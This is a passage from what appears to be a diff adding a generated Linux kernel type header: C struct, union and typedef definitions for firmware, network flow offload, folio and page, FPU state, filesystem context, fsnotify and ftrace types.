find_interface_arg { + int minor; + struct device_driver *drv; +}; + +struct kernel_symbol; + +struct find_symbol_arg { + const char *name; + bool gplok; + bool warn; + struct module *owner; + const s32 *crc; + const struct kernel_symbol *sym; + enum mod_license license; +}; + +struct find_xattr_ctx { + const char *name; + int name_len; + int found_idx; + char *found_data; + int found_data_len; +}; + +struct firmware { + size_t size; + const u8 *data; + void *priv; +}; + +struct firmware_cache { + spinlock_t lock; + struct list_head head; + int state; + spinlock_t name_lock; + struct list_head fw_names; + struct delayed_work work; + struct notifier_block pm_notify; +}; + +struct firmware_map_entry { + u64 start; + u64 end; + const char *type; + struct list_head list; + struct kobject kobj; +}; + +struct firmware_work { + struct work_struct work; + struct module *module; + const char *name; + struct device *device; + void *context; + void (*cont)(const struct firmware *, void *); + u32 opt_flags; +}; + +struct mii_bus; + +struct fixed_mdio_bus { + struct mii_bus *mii_bus; + struct list_head phys; +}; + +struct fixed_percpu_data { + char gs_base[40]; + unsigned long stack_canary; +}; + +struct fixed_phy_status { + int link; + int speed; + int duplex; + int pause; + int asym_pause; +}; + +struct fixed_phy { + int addr; + struct phy_device *phydev; + struct fixed_phy_status status; + bool no_carrier; + int (*link_update)(struct net_device *, struct fixed_phy_status *); + struct list_head node; + struct gpio_desc *link_gpiod; +}; + +struct fixed_range_block { + int base_msr; + int ranges; +}; + +struct flag_settings { + unsigned int flags; + unsigned int mask; +}; + +struct flagsbuf { + char buf[8]; +}; + +struct flex_groups { + atomic64_t free_clusters; + atomic_t free_inodes; + atomic_t used_dirs; +}; + +struct flock { + short l_type; + short l_whence; + __kernel_off_t l_start; + __kernel_off_t l_len; + __kernel_pid_t l_pid; +}; + +struct flock64 { + short l_type; + short l_whence; + __kernel_loff_t l_start; + __kernel_loff_t l_len; + __kernel_pid_t l_pid; +}; + +typedef void (*action_destr)(void *); + +struct psample_group; + +struct action_gate_entry; + +struct ip_tunnel_info; + +struct nf_flowtable; + +struct flow_action_cookie; + +struct flow_action_entry { + enum flow_action_id id; + u32 hw_index; + unsigned long cookie; + u64 miss_cookie; + enum flow_action_hw_stats hw_stats; + action_destr destructor; + void *destructor_priv; + union { + u32 chain_index; + struct net_device *dev; + struct { + u16 vid; + __be16 proto; + u8 prio; + } vlan; + struct { + unsigned char dst[6]; + unsigned char src[6]; + } vlan_push_eth; + struct { + enum flow_action_mangle_base htype; + u32 offset; + u32 mask; + u32 val; + } mangle; + struct ip_tunnel_info *tunnel; + u32 csum_flags; + u32 mark; + u16 ptype; + u16 rx_queue; + u32 priority; + struct { + u32 ctx; + u32 index; + u8 vf; + } queue; + struct { + struct psample_group *psample_group; + u32 rate; + u32 trunc_size; + bool truncate; + } sample; + struct { + u32 burst; + u64 rate_bytes_ps; + u64 peakrate_bytes_ps; + u32 avrate; + u16 overhead; + u64 burst_pkt; + u64 rate_pkt_ps; + u32 mtu; + struct { + enum flow_action_id act_id; + u32 extval; + } exceed; + struct { + enum flow_action_id act_id; + u32 extval; + } notexceed; + } police; + struct { + int action; + u16 zone; + struct nf_flowtable *flow_table; + } ct; + struct { + unsigned long cookie; + u32 mark; + u32 labels[4]; + bool orig_dir; + } ct_metadata; + struct { + u32 label; + __be16 proto; + u8 tc; + u8 bos; + u8 ttl; + } mpls_push; + struct { + __be16 proto; + } mpls_pop; + struct { + u32 label; + u8 tc; + u8 bos; + u8 ttl; + } mpls_mangle; + struct { + s32 prio; + u64 basetime; + u64 cycletime; + u64 cycletimeext; + u32 num_entries; + struct action_gate_entry *entries; + } gate; + struct { + u16 sid; + } pppoe; + }; + struct flow_action_cookie *user_cookie; +}; + +struct flow_action { + unsigned int num_entries; + struct flow_action_entry entries[0]; +}; + +struct flow_action_cookie { + u32 cookie_len; + u8 cookie[0]; +}; + +struct flow_block { + struct list_head cb_list; +}; + +typedef int flow_setup_cb_t(enum tc_setup_type, void *, void *); + +struct flow_block_cb; + +struct flow_block_indr { + struct list_head list; + struct net_device *dev; + struct Qdisc *sch; + enum flow_block_binder_type binder_type; + void *data; + void *cb_priv; + void (*cleanup)(struct flow_block_cb *); +}; + +struct flow_block_cb { + struct list_head driver_list; + struct list_head list; + flow_setup_cb_t *cb; + void *cb_ident; + void *cb_priv; + void (*release)(void *); + struct flow_block_indr indr; + unsigned int refcnt; +}; + +struct flow_block_offload { + enum flow_block_command command; + enum flow_block_binder_type binder_type; + bool block_shared; + bool unlocked_driver_cb; + struct net *net; + struct flow_block *block; + struct list_head cb_list; + struct list_head *driver_block_list; + struct netlink_ext_ack *extack; + struct Qdisc *sch; + struct list_head *cb_list_head; +}; + +struct flow_cls_common_offload { + u32 chain_index; + __be16 protocol; + u32 prio; + struct netlink_ext_ack *extack; +}; + +struct flow_stats { + u64 pkts; + u64 bytes; + u64 drops; + u64 lastused; + enum flow_action_hw_stats used_hw_stats; + bool used_hw_stats_valid; +}; + +struct flow_cls_offload { + struct flow_cls_common_offload common; + enum flow_cls_command command; + bool use_act_stats; + unsigned long cookie; + struct flow_rule *rule; + struct flow_stats stats; + u32 classid; +}; + +struct flow_dissector_key { + enum flow_dissector_key_id key_id; + size_t offset; +}; + +struct flow_dissector_key_tipc { + __be32 key; +}; + +struct flow_dissector_key_addrs { + union { + struct flow_dissector_key_ipv4_addrs v4addrs; + struct flow_dissector_key_ipv6_addrs v6addrs; + struct flow_dissector_key_tipc tipckey; + }; +}; + +struct flow_dissector_key_arp { + __u32 sip; + __u32 tip; + __u8 op; + unsigned char sha[6]; + unsigned char tha[6]; +}; + +struct flow_dissector_key_cfm { + u8 mdl_ver; + u8 opcode; +}; + +struct flow_dissector_key_control { + u16 thoff; + u16 addr_type; + u32 flags; +}; + +struct flow_dissector_key_ct { + u16 ct_state; + u16 ct_zone; + u32 ct_mark; + u32 ct_labels[4]; +}; + +struct flow_dissector_key_enc_opts { + u8 data[255]; + u8 len; + u32 dst_opt_type; +}; + +struct flow_dissector_key_hash { + u32 hash; +}; + +struct flow_dissector_key_icmp { + struct { + u8 type; + u8 code; + }; + u16 id; +}; + +struct flow_dissector_key_ipsec { + __be32 spi; +}; + +struct flow_dissector_key_keyid { + __be32 keyid; +}; + +struct flow_dissector_key_l2tpv3 { + __be32 session_id; +}; + +struct flow_dissector_key_meta { + int ingress_ifindex; + u16 ingress_iftype; + u8 l2_miss; +}; + +struct flow_dissector_mpls_lse { + u32 mpls_ttl: 8; + u32 mpls_bos: 1; + u32 mpls_tc: 3; + u32 mpls_label: 20; +}; + +struct flow_dissector_key_mpls { + struct flow_dissector_mpls_lse ls[7]; + u8 used_lses; +}; + +struct flow_dissector_key_num_of_vlans { + u8 num_of_vlans; +}; + +struct flow_dissector_key_ports_range { + union { + struct flow_dissector_key_ports tp; + struct { + struct flow_dissector_key_ports tp_min; + struct flow_dissector_key_ports tp_max; + }; + }; +}; + +struct flow_dissector_key_pppoe { + __be16 session_id; + __be16 ppp_proto; + __be16 type; +}; + +struct flow_dissector_key_tags { + u32 flow_label; +}; + +struct flow_dissector_key_tcp { + __be16 flags; +}; + +struct flow_indir_dev_info { + void *data; + struct net_device *dev; + struct Qdisc *sch; + enum tc_setup_type type; + void (*cleanup)(struct flow_block_cb *); + struct list_head list; + enum flow_block_command command; + enum flow_block_binder_type binder_type; + struct list_head *cb_list; +}; + +typedef int flow_indr_block_bind_cb_t(struct net_device *, struct Qdisc *, void *, enum tc_setup_type, void *, void *, void (*)(struct flow_block_cb *)); + +struct flow_indr_dev { + struct list_head list; + flow_indr_block_bind_cb_t *cb; + void *cb_priv; + refcount_t refcnt; +}; + +struct flow_keys { + struct flow_dissector_key_control control; + struct flow_dissector_key_basic basic; + struct flow_dissector_key_tags tags; + struct flow_dissector_key_vlan vlan; + struct flow_dissector_key_vlan cvlan; + struct flow_dissector_key_keyid keyid; + struct flow_dissector_key_ports ports; + struct flow_dissector_key_icmp icmp; + struct flow_dissector_key_addrs addrs; + long: 0; +}; + +struct flow_keys_basic { + struct flow_dissector_key_control control; + struct flow_dissector_key_basic basic; +}; + +struct flow_keys_digest { + u8 data[16]; +}; + +struct flow_match { + struct flow_dissector *dissector; + void *mask; + void *key; +}; + +struct flow_match_arp { + struct flow_dissector_key_arp *key; + struct flow_dissector_key_arp *mask; +}; + +struct flow_match_basic { + struct flow_dissector_key_basic *key; + struct flow_dissector_key_basic *mask; +}; + +struct flow_match_control { + struct flow_dissector_key_control *key; + struct flow_dissector_key_control *mask; +}; + +struct flow_match_ct { + struct flow_dissector_key_ct *key; + struct flow_dissector_key_ct *mask; +}; + +struct flow_match_enc_keyid { + struct flow_dissector_key_keyid *key; + struct flow_dissector_key_keyid *mask; +}; + +struct flow_match_enc_opts { + struct flow_dissector_key_enc_opts *key; + struct flow_dissector_key_enc_opts *mask; +}; + +struct flow_match_eth_addrs { + struct flow_dissector_key_eth_addrs *key; + struct flow_dissector_key_eth_addrs *mask; +}; + +struct flow_match_icmp { + struct flow_dissector_key_icmp *key; + struct flow_dissector_key_icmp *mask; +}; + +struct flow_match_ip { + struct flow_dissector_key_ip *key; + struct flow_dissector_key_ip *mask; +}; + +struct flow_match_ipsec { + struct flow_dissector_key_ipsec *key; + struct flow_dissector_key_ipsec *mask; +}; + +struct flow_match_ipv4_addrs { + struct flow_dissector_key_ipv4_addrs *key; + struct flow_dissector_key_ipv4_addrs *mask; +}; + +struct flow_match_ipv6_addrs { + struct flow_dissector_key_ipv6_addrs *key; + struct flow_dissector_key_ipv6_addrs *mask; +}; + +struct flow_match_l2tpv3 { + struct flow_dissector_key_l2tpv3 *key; + struct flow_dissector_key_l2tpv3 *mask; +}; + +struct flow_match_meta { + struct flow_dissector_key_meta *key; + struct flow_dissector_key_meta *mask; +}; + +struct flow_match_mpls { + struct flow_dissector_key_mpls *key; + struct flow_dissector_key_mpls *mask; +}; + +struct flow_match_ports { + struct flow_dissector_key_ports *key; + struct flow_dissector_key_ports *mask; +}; + +struct flow_match_ports_range { + struct flow_dissector_key_ports_range *key; + struct flow_dissector_key_ports_range *mask; +}; + +struct flow_match_pppoe { + struct flow_dissector_key_pppoe *key; + struct flow_dissector_key_pppoe *mask; +}; + +struct flow_match_tcp { + struct flow_dissector_key_tcp *key; + struct flow_dissector_key_tcp *mask; +}; + +struct flow_match_vlan { + struct flow_dissector_key_vlan *key; + struct flow_dissector_key_vlan *mask; +}; + +struct flow_offload_tuple { + union { + struct in_addr src_v4; + struct in6_addr src_v6; + }; + union { + struct in_addr dst_v4; + struct in6_addr dst_v6; + }; + struct { + __be16 src_port; + __be16 dst_port; + }; + int iifidx; + u8 l3proto; + u8 l4proto; + struct { + u16 id; + __be16 proto; + } encap[2]; + struct {} __hash; + u8 dir: 2; + u8 xmit_type: 3; + u8 encap_num: 2; + char: 1; + u8 in_vlan_ingress: 2; + u16 mtu; + union { + struct { + struct dst_entry *dst_cache; + u32 dst_cookie; + }; + struct { + u32 ifidx; + u32 hw_ifidx; + u8 h_source[6]; + u8 h_dest[6]; + } out; + struct { + u32 iifidx; + } tc; + }; +}; + +struct flow_offload_tuple_rhash { + struct rhash_head node; + struct flow_offload_tuple tuple; +}; + +struct flow_offload { + struct flow_offload_tuple_rhash tuplehash[2]; + struct nf_conn *ct; + unsigned long flags; + u16 type; + u32 timeout; + struct callback_head callback_head; +}; + +struct flow_offload_action { + struct netlink_ext_ack *extack; + enum offload_act_command command; + enum flow_action_id id; + u32 index; + unsigned long cookie; + struct flow_stats stats; + struct flow_action action; +}; + +struct flow_rule { + struct flow_match match; + struct flow_action action; +}; + +struct flowi_tunnel { + __be64 tun_id; +}; + +struct flowi_common { + int flowic_oif; + int flowic_iif; + int flowic_l3mdev; + __u32 flowic_mark; + __u8 flowic_tos; + __u8 flowic_scope; + __u8 flowic_proto; + __u8 flowic_flags; + __u32 flowic_secid; + kuid_t flowic_uid; + __u32 flowic_multipath_hash; + struct flowi_tunnel flowic_tun_key; +}; + +union flowi_uli { + struct { + __be16 dport; + __be16 sport; + } ports; + struct { + __u8 type; + __u8 code; + } icmpt; + __be32 gre_key; + struct { + __u8 type; + } mht; +}; + +struct flowi4 { + struct flowi_common __fl_common; + __be32 saddr; + __be32 daddr; + union flowi_uli uli; +}; + +struct flowi6 { + struct flowi_common __fl_common; + struct in6_addr daddr; + struct in6_addr saddr; + __be32 flowlabel; + union flowi_uli uli; + __u32 mp_hash; +}; + +struct flowi { + union { + struct flowi_common __fl_common; + struct flowi4 ip4; + struct flowi6 ip6; + } u; +}; + +struct flush_busy_ctx_data { + struct blk_mq_hw_ctx *hctx; + struct list_head *list; +}; + +struct kyber_hctx_data; + +struct flush_kcq_data { + struct kyber_hctx_data *khd; + unsigned int sched_domain; + struct list_head *list; +}; + +struct flush_tlb_info { + struct mm_struct *mm; + unsigned long start; + unsigned long end; + u64 new_tlb_gen; + unsigned int initiating_cpu; + u8 stride_shift; + u8 freed_tables; +}; + +struct fname { + __u32 hash; + __u32 minor_hash; + struct rb_node rb_hash; + struct fname *next; + __u32 inode; + __u8 name_len; + __u8 file_type; + char name[0]; +}; + +struct fnhe_hash_bucket { + struct fib_nh_exception __attribute__((btf_type_tag("rcu"))) *chain; +}; + +struct page_pool; + +struct page { + unsigned long flags; + union { + struct { + union { + struct list_head lru; + struct { + void *__filler; + unsigned int mlock_count; + }; + struct list_head buddy_list; + struct list_head pcp_list; + }; + struct address_space *mapping; + union { + unsigned long index; + unsigned long share; + }; + unsigned long private; + }; + struct { + unsigned long pp_magic; + struct page_pool *pp; + unsigned long _pp_mapping_pad; + unsigned long dma_addr; + atomic_long_t pp_ref_count; + }; + struct { + unsigned long compound_head; + }; + struct { + struct dev_pagemap *pgmap; + void *zone_device_data; + }; + struct callback_head callback_head; + }; + union { + unsigned int page_type; + atomic_t _mapcount; + }; + atomic_t _refcount; + unsigned long memcg_data; +}; + +struct folio { + union { + struct { + unsigned long flags; + union { + struct list_head lru; + struct { + void *__filler; + unsigned int mlock_count; + }; + }; + struct address_space *mapping; + unsigned long index; + union { + void *private; + swp_entry_t swap; + }; + atomic_t _mapcount; + atomic_t _refcount; + unsigned long memcg_data; + }; + struct page page; + }; + union { + struct { + unsigned long _flags_1; + unsigned long _head_1; + atomic_t _large_mapcount; + atomic_t _entire_mapcount; + atomic_t _nr_pages_mapped; + atomic_t _pincount; + unsigned int _folio_nr_pages; + }; + struct page __page_1; + }; + union { + struct { + unsigned long _flags_2; + unsigned long _head_2; + void *_hugetlb_subpool; + void *_hugetlb_cgroup; + void *_hugetlb_cgroup_rsvd; + void *_hugetlb_hwpoison; + }; + struct { + unsigned long _flags_2a; + unsigned long _head_2a; + struct list_head _deferred_list; + }; + struct page __page_2; + }; +}; + +struct folio_iter { + struct folio *folio; + size_t offset; + size_t length; + struct folio *_next; + size_t _seg_count; + int _i; +}; + +struct folio_queue { + struct folio_batch vec; + u8 orders[31]; + struct folio_queue *next; + struct folio_queue *prev; + unsigned long marks; + unsigned long marks2; + unsigned long marks3; +}; + +struct folio_referenced_arg { + int mapcount; + int referenced; + unsigned long vm_flags; + struct mem_cgroup *memcg; +}; + +struct folio_walk { + struct page *page; + enum folio_walk_level level; + union { + pte_t *ptep; + pud_t *pudp; + pmd_t *pmdp; + }; + union { + pte_t pte; + pud_t pud; + pmd_t pmd; + }; + struct vm_area_struct *vma; + spinlock_t *ptl; +}; + +struct follow_page_context { + struct dev_pagemap *pgmap; + unsigned int page_mask; +}; + +struct follow_pfnmap_args { + struct vm_area_struct *vma; + unsigned long address; + spinlock_t *lock; + pte_t *ptep; + unsigned long pfn; + pgprot_t pgprot; + bool writable; + bool special; +}; + +struct font_data { + unsigned int extra[4]; + const unsigned char data[0]; +}; + +struct font_desc { + int idx; + const char *name; + unsigned int width; + unsigned int height; + unsigned int charcount; + const void *data; + int pref; +}; + +struct inactive_task_frame { + unsigned long r15; + unsigned long r14; + unsigned long r13; + unsigned long r12; + unsigned long bx; + unsigned long bp; + unsigned long ret_addr; +}; + +struct fork_frame { + struct inactive_task_frame frame; + struct pt_regs regs; +}; + +struct fown_struct { + struct file *file; + rwlock_t lock; + struct pid *pid; + enum pid_type pid_type; + kuid_t uid; + kuid_t euid; + int signum; +}; + +struct fregs_state { + u32 cwd; + u32 swd; + u32 twd; + u32 fip; + u32 fcs; + u32 foo; + u32 fos; + u32 st_space[20]; + u32 status; +}; + +struct fxregs_state { + u16 cwd; + u16 swd; + u16 twd; + u16 fop; + union { + struct { + u64 rip; + u64 rdp; + }; + struct { + u32 fip; + u32 fcs; + u32 foo; + u32 fos; + }; + }; + u32 mxcsr; + u32 mxcsr_mask; + u32 st_space[32]; + u32 xmm_space[64]; + u32 padding[12]; + union { + u32 padding1[12]; + u32 sw_reserved[12]; + }; +}; + +struct math_emu_info; + +struct swregs_state { + u32 cwd; + u32 swd; + u32 twd; + u32 fip; + u32 fcs; + u32 foo; + u32 fos; + u32 st_space[20]; + u8 ftop; + u8 changed; + u8 lookahead; + u8 no_update; + u8 rm; + u8 alimit; + struct math_emu_info *info; + u32 entry_eip; +}; + +struct xstate_header { + u64 xfeatures; + u64 xcomp_bv; + u64 reserved[6]; +}; + +struct xregs_state { + struct fxregs_state i387; + struct xstate_header header; + u8 extended_state_area[0]; +}; + +union fpregs_state { + struct fregs_state fsave; + struct fxregs_state fxsave; + struct swregs_state soft; + struct xregs_state xsave; + u8 __padding[4096]; +}; + +struct fprop_global { + struct percpu_counter events; + unsigned int period; + seqcount_t sequence; +}; + +struct fpstate { + unsigned int size; + unsigned int user_size; + u64 xfeatures; + u64 user_xfeatures; + u64 xfd; + unsigned int is_valloc: 1; + unsigned int is_guest: 1; + unsigned int is_confidential: 1; + unsigned int in_use: 1; + long: 64; + long: 64; + long: 64; + union fpregs_state regs; +}; + +struct fpu_state_perm { + u64 __state_perm; + unsigned int __state_size; + unsigned int __user_state_size; +}; + +struct fpu { + unsigned int last_cpu; + unsigned long avx512_timestamp; + struct fpstate *fpstate; + struct fpstate *__task_fpstate; + struct fpu_state_perm perm; + struct fpu_state_perm guest_perm; + struct fpstate __fpstate; +}; + +struct fpu_guest { + u64 xfeatures; + u64 perm; + u64 xfd_err; + unsigned int uabi_size; + struct fpstate *fpstate; +}; + +struct fpu_state_config { + unsigned int max_size; + unsigned int default_size; + u64 max_features; + u64 default_features; + u64 legacy_features; + u64 independent_features; +}; + +struct fq_flow; + +struct fq { + struct fq_flow *flows; + unsigned long *flows_bitmap; + struct list_head tin_backlog; + spinlock_t lock; + u32 flows_cnt; + u32 limit; + u32 memory_limit; + u32 memory_usage; + u32 quantum; + u32 backlog; + u32 overlimit; + u32 overmemory; + u32 collisions; +}; + +struct fq_tin; + +struct fq_flow { + struct fq_tin *tin; + struct list_head flowchain; + struct sk_buff_head queue; + u32 backlog; + int deficit; +}; + +struct fq_tin { + struct list_head new_flows; + struct list_head old_flows; + struct list_head tin_list; + struct fq_flow default_flow; + u32 backlog_bytes; + u32 backlog_packets; + u32 overlimit; + u32 collisions; + u32 flows; + u32 tx_bytes; + u32 tx_packets; +}; + +typedef u32 (*rht_hashfn_t)(const void *, u32, u32); + +typedef u32 (*rht_obj_hashfn_t)(const void *, u32, u32); + +struct rhashtable_compare_arg; + +typedef int (*rht_obj_cmpfn_t)(struct rhashtable_compare_arg *, const void *); + +struct rhashtable_params { + u16 nelem_hint; + u16 key_len; + u16 key_offset; + u16 head_offset; + unsigned int max_size; + u16 min_size; + bool automatic_shrinking; + rht_hashfn_t hashfn; + rht_obj_hashfn_t obj_hashfn; + rht_obj_cmpfn_t obj_cmpfn; +}; + +struct rhashtable { + struct bucket_table __attribute__((btf_type_tag("rcu"))) *tbl; + unsigned int key_len; + unsigned int max_elems; + struct rhashtable_params p; + bool rhlist; + struct work_struct run_work; + struct mutex mutex; + spinlock_t lock; + atomic_t nelems; +}; + +struct inet_frags; + +struct fqdir { + long high_thresh; + long low_thresh; + int timeout; + int max_dist; + struct inet_frags *f; + struct net *net; + bool dead; + long: 64; + long: 64; + struct rhashtable rhashtable; + long: 64; + long: 64; + long: 64; + long: 64; + atomic_long_t mem; + struct work_struct destroy_work; + struct llist_node free_list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct frag_hdr { + __u8 nexthdr; + __u8 reserved; + __be16 frag_off; + __be32 identification; +}; + +struct frag_v4_compare_key { + __be32 saddr; + __be32 daddr; + u32 user; + u32 vif; + __be16 id; + u16 protocol; +}; + +struct frag_v6_compare_key { + struct in6_addr saddr; + struct in6_addr daddr; + u32 user; + __be32 id; + u32 iif; +}; + +struct inet_frag_queue { + struct rhash_head node; + union { + struct frag_v4_compare_key v4; + struct frag_v6_compare_key v6; + } key; + struct timer_list timer; + spinlock_t lock; + refcount_t refcnt; + struct rb_root rb_fragments; + struct sk_buff *fragments_tail; + struct sk_buff *last_run_head; + ktime_t stamp; + int len; + int meat; + u8 tstamp_type; + __u8 flags; + u16 max_size; + struct fqdir *fqdir; + struct callback_head rcu; +}; + +struct frag_queue { + struct inet_frag_queue q; + int iif; + __u16 nhoffset; + u8 ecn; +}; + +struct freader { + void *buf; + u32 buf_sz; + int err; + union { + struct { + struct file *file; + struct folio *folio; + void *addr; + loff_t folio_off; + bool may_fault; + }; + struct { + const char *data; + u64 data_sz; + }; + }; +}; + +struct free_area { + struct list_head free_list[4]; + unsigned long nr_free; +}; + +struct freerunning_counters { + unsigned int counter_base; + unsigned int counter_offset; + unsigned int box_offset; + unsigned int num_counters; + unsigned int bits; + unsigned int *box_offsets; +}; + +struct freezer { + struct cgroup_subsys_state css; + unsigned int state; +}; + +struct freq_attr { + struct attribute attr; + ssize_t (*show)(struct cpufreq_policy *, char *); + ssize_t (*store)(struct cpufreq_policy *, const char *, size_t); +}; + +struct freq_band_range { + u64 start; + u64 end; +}; + +struct muldiv { + u32 multiplier; + u32 divider; +}; + +struct freq_desc { + bool use_msr_plat; + struct muldiv muldiv[16]; + u32 freqs[16]; + u32 mask; +}; + +struct p_log { + const char *prefix; + struct fc_log *log; +}; + +struct fs_context_operations; + +struct fs_context { + const struct fs_context_operations *ops; + struct mutex uapi_mutex; + struct file_system_type *fs_type; + void *fs_private; + void *sget_key; + struct dentry *root; + struct user_namespace *user_ns; + struct net *net_ns; + const struct cred *cred; + struct p_log log; + const char *source; + void *security; + void *s_fs_info; + unsigned int sb_flags; + unsigned int sb_flags_mask; + unsigned int s_iflags; + enum fs_context_purpose purpose: 8; + enum fs_context_phase phase: 8; + bool need_free: 1; + bool global: 1; + bool oldapi: 1; + bool exclusive: 1; +}; + +struct fs_parameter; + +struct fs_context_operations { + void (*free)(struct fs_context *); + int (*dup)(struct fs_context *, struct fs_context *); + int (*parse_param)(struct fs_context *, struct fs_parameter *); + int (*parse_monolithic)(struct fs_context *, void *); + int (*get_tree)(struct fs_context *); + int (*reconfigure)(struct fs_context *); +}; + +struct fs_error_report { + int error; + struct inode *inode; + struct super_block *sb; +}; + +struct fs_parameter { + const char *key; + enum fs_value_type type: 8; + union { + char *string; + void *blob; + struct filename *name; + struct file *file; + }; + size_t size; + int dirfd; +}; + +struct fs_parse_result; + +typedef int fs_param_type(struct p_log *, const struct fs_parameter_spec *, struct fs_parameter *, struct fs_parse_result *); + +struct fs_parameter_spec { + const char *name; + fs_param_type *type; + u8 opt; + unsigned short flags; + const void *data; +}; + +struct fs_parse_result { + bool negated; + union { + bool boolean; + int int_32; + unsigned int uint_32; + u64 uint_64; + kuid_t uid; + kgid_t gid; + }; +}; + +struct fs_path { + union { + struct { + char *start; + char *end; + char *buf; + unsigned short buf_len: 15; + unsigned short reversed: 1; + char inline_buf[0]; + }; + char pad[256]; + }; +}; + +struct fs_struct { + int users; + spinlock_t lock; + seqcount_spinlock_t seq; + int umask; + int in_exec; + struct path root; + struct path pwd; +}; + +struct fs_sysfs_path { + __u8 len; + __u8 name[128]; +}; + +struct fsmap { + __u32 fmr_device; + __u32 fmr_flags; + __u64 fmr_physical; + __u64 fmr_owner; + __u64 fmr_offset; + __u64 fmr_length; + __u64 fmr_reserved[3]; +}; + +struct fsmap_head { + __u32 fmh_iflags; + __u32 fmh_oflags; + __u32 fmh_count; + __u32 fmh_entries; + __u64 fmh_reserved[6]; + struct fsmap fmh_keys[2]; + struct fsmap fmh_recs[0]; +}; + +struct fsnotify_event { + struct list_head list; +}; + +struct inotify_group_private_data { + spinlock_t idr_lock; + struct idr idr; + struct ucounts *ucounts; +}; + +struct fsnotify_ops; + +struct fsnotify_group { + const struct fsnotify_ops *ops; + refcount_t refcnt; + spinlock_t notification_lock; + struct list_head notification_list; + wait_queue_head_t notification_waitq; + unsigned int q_len; + unsigned int max_events; + enum fsnotify_group_prio priority; + bool shutdown; + int flags; + unsigned int owner_flags; + struct mutex mark_mutex; + atomic_t user_waits; + struct list_head marks_list; + struct fasync_struct *fsn_fa; + struct fsnotify_event *overflow_event; + struct mem_cgroup *memcg; + union { + void *private; + struct inotify_group_private_data inotify_data; + }; +}; + +struct fsnotify_iter_info { + struct fsnotify_mark *marks[5]; + struct fsnotify_group *current_group; + unsigned int report_mask; + int srcu_idx; +}; + +typedef struct fsnotify_mark_connector __attribute__((btf_type_tag("rcu"))) *fsnotify_connp_t; + +struct fsnotify_mark_connector { + spinlock_t lock; + unsigned char type; + unsigned char prio; + unsigned short flags; + union { + void *obj; + struct fsnotify_mark_connector *destroy_next; + }; + struct hlist_head list; +}; + +struct fsnotify_ops { + int (*handle_event)(struct fsnotify_group *, u32, const void *, int, struct inode *, const struct qstr *, u32, struct fsnotify_iter_info *); + int (*handle_inode_event)(struct fsnotify_mark *, u32, struct inode *, struct inode *, const struct qstr *, u32); + void (*free_group_priv)(struct fsnotify_group *); + void (*freeing_mark)(struct fsnotify_mark *, struct fsnotify_group *); + void (*free_event)(struct fsnotify_group *, struct fsnotify_event *); + void (*free_mark)(struct fsnotify_mark *); +}; + +struct fsnotify_sb_info { + struct fsnotify_mark_connector __attribute__((btf_type_tag("rcu"))) *sb_marks; + atomic_long_t watched_objects[3]; +}; + +struct fstrim_range { + __u64 start; + __u64 len; + __u64 minlen; +}; + +struct fsuuid { + __u32 fsu_len; + __u32 fsu_flags; + __u8 fsu_uuid[0]; +}; + +struct fsuuid2 { + __u8 len; + __u8 uuid[16]; +}; + +struct fsverity_digest { + __u16 digest_algorithm; + __u16 digest_size; + __u8 digest[0]; +}; + +struct fsverity_enable_arg { + __u32 version; + __u32 hash_algorithm; + __u32 block_size; + __u32 salt_size; + __u64 salt_ptr; + __u32 sig_size; + __u32 __reserved1; + __u64 sig_ptr; + __u64 __reserved2[11]; +}; + +struct fsxattr { + __u32 fsx_xflags; + __u32 fsx_extsize; + __u32 fsx_nextents; + __u32 fsx_projid; + __u32 fsx_cowextsize; + unsigned char fsx_pad[8]; +}; + +struct trace_seq { + char buffer[8156]; + struct seq_buf seq; + size_t readpos; + int full; +}; + +struct tracer; + +struct ring_buffer_iter; + +struct trace_iterator { + struct trace_array *tr; + struct tracer *trace; + struct array_buffer *array_buffer; + void *private; + int cpu_file; + struct mutex mutex; + struct ring_buffer_iter **buffer_iter; + unsigned long iter_flags; + void *temp; + unsigned int temp_size; + char *fmt; + unsigned int fmt_size; + atomic_t wait_index; + struct trace_seq tmp_seq; + cpumask_var_t started; + bool closed; + bool snapshot; + struct trace_seq seq; + struct trace_entry *ent; + unsigned long lost_events; + int leftover; + int ent_size; + int cpu; + u64 ts; + loff_t pos; + long idx; +}; + +struct ftrace_buffer_info { + struct trace_iterator iter; + void *spare; + unsigned int spare_cpu; + unsigned int spare_size; + unsigned int read; +}; + +struct ftrace_entry { + struct trace_entry ent; + unsigned long ip; + unsigned long parent_ip; +}; + +struct ftrace_event_field { + struct list_head link; + const char *name; + const char *type; + int filter_type; + int offset; + int size; + int is_signed; + int len; +}; + +struct ftrace_func_command { + struct list_head list; + char *name; + int (*func)(struct trace_array *, struct ftrace_hash *, char *, char *, char *, int); +}; + +struct ftrace_func_entry { + struct hlist_node hlist; + unsigned long ip; + unsigned long direct; +}; + +struct ftrace_func_map { + struct ftrace_func_entry entry; + void *data; +}; + +struct ftrace_hash { + unsigned long size_bits; + struct hlist_head *buckets; + unsigned long count; + unsigned long flags; + struct callback_head rcu; +}; + +struct ftrace_func_mapper { + struct ftrace_hash hash; +}; + +struct ftrace_probe_ops; + +struct ftrace_func_probe { + struct ftrace_probe_ops *probe_ops; + struct ftrace_ops ops; + struct trace_array *tr; + struct list_head list; + void *data; + int ref; +}; + +struct ftrace_glob { + char *search; + unsigned int len; + int type; +}; + +struct trace_parser { + bool cont; + char *buffer; + unsigned int idx; + unsigned int size; +}; + +struct ftrace_graph_data { + struct ftrace_hash *hash; + struct ftrace_func_entry *entry; + int idx; + enum graph_filter_type type; + struct ftrace_hash *new_hash; + const struct seq_operations *seq_ops; + struct trace_parser parser; +}; + +struct ftrace_init_func { + struct list_head list; + unsigned long ip; +}; + +struct ftrace_page; + +struct ftrace_iterator { + loff_t pos; + loff_t func_pos; + loff_t mod_pos; + struct ftrace_page *pg; + struct dyn_ftrace *func; + struct ftrace_func_probe *probe; + struct ftrace_func_entry *probe_entry; + struct trace_parser parser; + struct ftrace_hash *hash; + struct ftrace_ops *ops; + struct trace_array *tr; + struct list_head *mod_list; + int pidx; + int idx; + unsigned int flags; +}; + +struct ftrace_mod_func { + struct list_head list; + char *name; + unsigned long ip; + unsigned int size; +}; + +struct ftrace_mod_load { + struct list_head list; + char *func; + char *module; + int enable; +}; + +struct ftrace_mod_map { + struct callback_head rcu; + struct list_head list; + struct module *mod; + unsigned long start_addr; + unsigned long end_addr; + struct list_head funcs; + unsigned int num_funcs; +}; + +union ftrace_op_code_union { + char code[7]; + struct { + char op[3]; + int offset; + } __attribute__((packed)); +}; + +struct ftrace_page { + struct ftrace_page *next; + struct dyn_ftrace *records; + int index; + int order; +}; + +struct 